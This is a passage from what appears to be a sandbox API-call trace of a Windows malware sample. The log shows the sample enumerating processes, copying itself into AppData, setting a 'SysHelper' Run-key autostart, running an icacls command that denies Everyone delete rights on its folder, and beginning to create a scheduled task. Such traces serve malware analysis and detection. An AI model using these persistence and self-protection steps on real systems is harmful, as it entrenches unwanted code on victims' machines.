returned 0x5b8 [0042.022] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0042.022] CloseHandle (hObject=0x5b8) returned 1 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f0) returned 0x0 [0042.022] CloseHandle (hObject=0x0) returned 0 [0042.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6f4) returned 0x5b8 [0042.022] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.023] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1210000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="messages.exe") returned 0xc [0042.024] CloseHandle (hObject=0x5b8) returned 1 [0042.024] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5b8 [0042.024] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.025] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xdc0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="assistant_lesson_love.exe") returned 0x19 [0042.025] CloseHandle (hObject=0x5b8) returned 1 [0042.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x5b8 [0042.025] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.026] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xf30000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="recommends.exe") returned 0xe [0042.026] CloseHandle (hObject=0x5b8) returned 1 [0042.026] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x5b8 [0042.026] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.027] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1340000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="fitting attachment.exe") returned 0x16 [0042.027] CloseHandle (hObject=0x5b8) returned 1 [0042.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x5b8 [0042.027] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.028] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x800000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="garmin.exe") returned 0xa [0042.028] CloseHandle (hObject=0x5b8) returned 1 [0042.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x5b8 [0042.028] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.029] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x310000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="vt-lives.exe") returned 0xc [0042.030] CloseHandle (hObject=0x5b8) returned 1 [0042.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x114) returned 0x5b8 [0042.030] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.030] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xcd0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="gentleman.exe") returned 0xd [0042.031] CloseHandle (hObject=0x5b8) returned 1 [0042.031] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x5b8 [0042.031] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.032] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x11f0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="lexmark_increases_problems.exe") returned 0x1e [0042.032] CloseHandle (hObject=0x5b8) returned 1 [0042.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x5b8 [0042.032] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.033] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x150000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="accessing.exe") returned 0xd [0042.033] CloseHandle (hObject=0x5b8) returned 1 [0042.033] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5b8 [0042.033] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.034] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x380000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="bottles comics links.exe") returned 0x18 [0042.034] CloseHandle (hObject=0x5b8) returned 1 [0042.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x774) returned 0x5b8 [0042.034] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.035] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1f0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="swissebooks.exe") returned 0xf [0042.035] CloseHandle (hObject=0x5b8) returned 1 [0042.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x5b8 [0042.036] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.036] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x260000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="dependent programs keith.exe") returned 0x1c [0042.037] CloseHandle (hObject=0x5b8) returned 1 [0042.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c4) returned 0x5b8 [0042.037] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.038] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x10d0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="pages_hack_associates.exe") returned 0x19 [0042.038] CloseHandle (hObject=0x5b8) returned 1 [0042.038] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x5b8 [0042.038] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.039] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x190000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="keno.exe") returned 0x8 [0042.039] CloseHandle (hObject=0x5b8) returned 1 [0042.039] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x5b8 [0042.039] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.040] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xc30000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="graham_noted_lm.exe") returned 0x13 [0042.040] CloseHandle (hObject=0x5b8) returned 1 [0042.040] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x5b8 [0042.040] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.041] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1210000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="ci helicopter.exe") returned 0x11 [0042.042] CloseHandle (hObject=0x5b8) returned 1 [0042.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5b8 [0042.042] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.043] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xf60000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="texas.exe") returned 0x9 [0042.043] CloseHandle (hObject=0x5b8) returned 1 [0042.043] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x5b8 [0042.043] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.044] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x2e0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="owners.exe") returned 0xa [0042.044] CloseHandle (hObject=0x5b8) returned 1 [0042.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3c0) returned 0x5b8 [0042.044] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.045] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x8e0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="linear ratios.exe") returned 0x11 [0042.045] CloseHandle (hObject=0x5b8) returned 1 [0042.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5b8 [0042.045] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.046] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xf00000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="columbus_rats_trailer.exe") returned 0x19 [0042.046] CloseHandle (hObject=0x5b8) returned 1 [0042.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x0 [0042.046] CloseHandle (hObject=0x0) returned 0 [0042.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x5b8 [0042.047] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0042.048] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x400000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 0x38 [0042.048] CloseHandle (hObject=0x5b8) returned 1 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x28) returned 0xda7ef0 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a13d88 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a00c18 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x39f1be8 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a099e0 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a09c48 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a09eb0 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a0a118 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a0a380 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a0a5e8 [0042.048] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x25c) returned 0x3a0a850 [0042.048] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e8f0 | out: phkResult=0x18e8f0*=0x5b8) returned 0x0 [0042.048] RegQueryValueExW (in: hKey=0x5b8, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e8ec, lpData=0x18d018, lpcbData=0x18e8d0*=0x400 | out: lpType=0x18e8ec*=0x0, lpData=0x18d018*=0x0, lpcbData=0x18e8d0*=0x400) returned 0x2 [0042.048] RegCloseKey (hKey=0x5b8) returned 0x0 [0042.048] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0042.049] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0042.049] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " [0042.049] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" ", pNumArgs=0x18e8b4 | out: pNumArgs=0x18e8b4) returned 0x395e030*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0042.049] lstrcpyW (in: lpString1=0x18c818, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0042.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0042.049] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18e018 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0042.049] UuidCreate (in: Uuid=0x18e864 | out: Uuid=0x18e864) returned 0x0 [0042.049] UuidToStringW (in: Uuid=0x18e864, StringUuid=0x18e8f8 | out: StringUuid=0x18e8f8) returned 0x0 [0042.049] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x50) returned 0x39a5908 [0042.049] RpcMgmtStatsVectorFree (in: StatsVector=0x18e8f8 | out: StatsVector=0x18e8f8) returned 0x0 [0042.049] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="c5878955-7c21-46f7-9950-dbc1d2273e6e" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e") returned 1 [0042.049] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e"), lpSecurityAttributes=0x0) returned 1 [0042.050] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xb0) returned 0x39b1c28 [0042.050] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xb0) returned 0x39b1ce0 [0042.050] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e", pMore="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 1 [0042.050] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0 [0042.050] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe"), bFailIfExists=0) returned 1 [0042.067] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e8f4 | out: phkResult=0x18e8f4*=0x5bc) returned 0x0 [0042.067] lstrcpyW (in: lpString1=0x18d818, lpString2="\"" | out: lpString1="\"") returned="\"" [0042.067] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0042.067] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" [0042.067] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart") returned 151 [0042.067] RegSetValueExW (in: hKey=0x5bc, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", cbData=0x12e | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart") returned 0x0 [0042.068] RegCloseKey (hKey=0x5bc) returned 0x0 [0042.068] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x120) returned 0xdd3dd8 [0042.068] SetLastError (dwErrCode=0x0) [0042.068] lstrcpyW (in: lpString1=0x18b818, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0042.068] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e" [0042.068] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0042.068] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e818*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e874 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18e874*(hProcess=0x5b8, hThread=0x5bc, dwProcessId=0x994, dwThreadId=0x998)) returned 1 [0042.079] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.159] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.162] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.178] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.193] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.217] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0042.224] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x0 [0042.225] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39b1ce0 | out: hHeap=0xcf0000) returned 1 [0042.225] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39a5908 | out: hHeap=0xcf0000) returned 1 [0042.225] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x120) returned 0x39d1a70 [0042.225] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x120) returned 0x39f1e50 [0042.225] CoInitialize (pvReserved=0x0) returned 0x0 [0042.519] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0042.520] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x120) returned 0xdac210 [0042.520] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e8dc | out: ppv=0x18e8dc*=0x2f30d20) returned 0x0 [0042.643] TaskScheduler:ITaskService:Connect (This=0x2f30d20, serverName=0x18e368*(varType=0x0, wReserved1=0x39d, wReserved2=0x1a68, wReserved3=0x39d, varVal1=0x8f, varVal2=0x120), user=0x18e378*(varType=0x0, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1=0x0, varVal2=0x128), domain=0x18e388*(varType=0x0, wReserved1=0x0, wReserved2=0x120, wReserved3=0x0, varVal1=0x8f, varVal2=0x7), password=0x18e398*(varType=0x0, wReserved1=0x3a0, wReserved2=0xe884, wReserved3=0x18, varVal1=0x41720b, varVal2=0xcf0000)) returned 0x0 [0042.646] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f53f8 [0042.646] TaskScheduler:ITaskService:GetFolder (in: This=0x2f30d20, Path="\\", ppFolder=0x18e8e4 | out: ppFolder=0x18e8e4*=0x30ff98) returned 0x0 [0042.648] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f53f8 | out: hHeap=0xcf0000) returned 1 [0042.648] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f53f8 [0042.648] ITaskFolder:DeleteTask (This=0x30ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0042.649] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f53f8 | out: hHeap=0xcf0000) returned 1 [0042.649] TaskScheduler:ITaskService:NewTask (in: This=0x2f30d20, flags=0x0, ppDefinition=0x18e8e8 | out: ppDefinition=0x18e8e8*=0x2f30da8) returned 0x0 [0042.650] TaskScheduler:IUnknown:Release (This=0x2f30d20) returned 0x1 [0042.650] ITaskDefinition:get_RegistrationInfo (in: This=0x2f30da8, ppRegistrationInfo=0x18e8bc | out: ppRegistrationInfo=0x18e8bc*=0x2f30e68) returned 0x0 [0042.651] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5428 [0042.651] IRegistrationInfo:put_Author (This=0x2f30e68, Author="Author Name") returned 0x0 [0042.651] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5428 | out: hHeap=0xcf0000) returned 1 [0042.651] IUnknown:Release (This=0x2f30e68) returned 0x1 [0042.651] ITaskDefinition:get_Principal (in: This=0x2f30da8, ppPrincipal=0x18e8c4 | out: ppPrincipal=0x18e8c4*=0x2f30ff8) returned 0x0 [0042.651] IPrincipal:put_LogonType (This=0x2f30ff8, LogonType=3) returned 0x0 [0042.651] IUnknown:Release (This=0x2f30ff8) returned 0x1 [0042.651] ITaskDefinition:get_Settings (in: This=0x2f30da8, ppSettings=0x18e8cc | out: ppSettings=0x18e8cc*=0x2f30f18) returned 0x0 [0042.651] ITaskSettings:put_StartWhenAvailable (This=0x2f30f18, StartWhenAvailable=1) returned 0x0 [0042.651] IUnknown:Release (This=0x2f30f18) returned 0x1 